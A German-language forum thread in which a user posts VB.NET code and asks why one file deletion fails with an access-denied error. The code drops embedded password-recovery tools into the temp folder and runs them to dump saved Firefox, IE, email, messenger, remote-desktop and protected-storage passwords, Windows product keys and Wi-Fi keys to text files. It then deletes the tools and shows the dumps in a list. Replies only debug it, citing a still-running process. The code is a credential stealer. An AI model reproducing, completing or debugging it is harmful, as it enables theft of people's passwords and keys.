Problem mit script

[sunny-boy3]

Halllo habe hier nen script welhen ich in mein projekt verbaut habe aber ich bekomme imme eine fehler meldung meine code



Dim lm As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))

Dim am As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\mailpv.exe", IO.FileMode.Create))

Dim er As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\mspass.exe", IO.FileMode.Create))

Dim Ie As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\iepv.exe", IO.FileMode.Create))

Dim ps As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\pspv.exe", IO.FileMode.Create))

Dim rd As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\rdpv.exe", IO.FileMode.Create))

Dim pc As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\ProduKey.exe", IO.FileMode.Create))

Dim whk As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\whk.exe", IO.FileMode.Create))


lm.Write(My.Resources.PasswordFox)

am.Write(My.Resources.mailpv)

er.Write(My.Resources.mspass)

Ie.Write(My.Resources.iepv)

ps.Write(My.Resources.pspv)

rd.Write(My.Resources.rdpv)

pc.Write(My.Resources.ProduKey)

whk.Write(My.Resources.whk)





lm.Close()

am.Close()

er.Close()

Ie.Close()

ps.Close()

rd.Close()

pc.Close()

whk.Close()





Dim gu As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\passwortFox.exe")

Dim ba As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\mailpv.exe")

Dim um As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\mspass.exe")

Dim int As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\iepv.exe")

Dim psp As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\pspv.exe")

Dim dc As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\rdpv.exe")

Dim pro As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\ProduKey.exe")

Dim wlkv As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\whk.exe")

gu.Arguments = ("/stext C:\FireFoxPws.txt")

ba.Arguments = ("/stext C:\EmailPws.txt")

um.Arguments = ("/stext C:\MessengerPws.txt")

int.Arguments = ("/stext C:\InternetExplorerPws.txt")

psp.Arguments = ("/stext C:\ProtectedStoragePws.txt")

dc.Arguments = ("/stext C:\RemoteDesktopPws.txt")

pro.Arguments = ("/stext C:\WindowsKeys.txt")

wlkv.Arguments = ("/stext C:\WhirelessKeys.txt")

Process.Start(gu)

Process.Start(ba)

Process.Start(um)

Process.Start(int)

Process.Start(psp)

Process.Start(dc)

Process.Start(pro)

Process.Start(wlkv)










IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")

IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\mailpv.exe")

IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\mspass.exe")

IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\iepv.exe")

IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\pspv.exe")

IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\rdpv.exe")

IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\ProduKey.exe")

IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\whk.exe")

Fuck
End sub

Private Sub Fuck()
Dim r As IO.StreamReader
ListBox1.Items.Add("FireFox 1-3")
r = New IO.StreamReader("C:\FireFoxPws.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
ListBox1.Items.Add("Email-Passwörter")
r = New IO.StreamReader("C:\EmailPws.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While

ListBox1.Items.Add("Messenger Passwörter")
r = New IO.StreamReader("C:\MessengerPws.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While

ListBox1.Items.Add("Internet Explorer Passwörter")
r = New IO.StreamReader("C:\InternetExplorerPws.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
ListBox1.Items.Add("Gespeicherte Passwörter")
r = New IO.StreamReader("C:\ProtectedStoragePws.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
ListBox1.Items.Add("Remote Desktop Passwörter")
r = New IO.StreamReader("C:\RemoteDesktopPws.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
ListBox1.Items.Add("Windows Keys")
r = New IO.StreamReader("C:\WindowsKeys.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
ListBox1.Items.Add("Wlan Schlüßel")
r = New IO.StreamReader("C:\WhirelessKeys.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While

r.Close()


meine Fehlermaldung:

IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\iepv.exe")
Der Zugriff auf den Pfad "C:\Documents and Settings\Administrator\Local Settings\Temp\iepv.exe" wurde verweigert.


wieso ist das so?

[ir0n]

Spitze Code! Für sowas gibt's Array oder Listen, aber sieht mir eh so ziemlich nach C&P Power aus..

Grund: Exe ist bereits geöffnet (durch Windows oder nen anderes Programm) oder du bist nicht als Admin eingeloggt.

Gruß

[th3flood]

arrays ftw :rolleyes:

Dann musste nicht 100 Variablen manuell deklarieren und initialisieren.

-
th3flood

[sunny-boy3]

versteh nicht ganz wieso der zugiff verweigert wird habe xp da startet es automatisch als admin

(Das Programm wird verwendet aber nur von den script)

[th3flood]

Möglicherweise ist "iepv.exe" noch nicht beendet (wie ir0n bereits schrieb), dein Programm versucht sie aber zu löschen und wirft dann ne Exception.

-
th3flood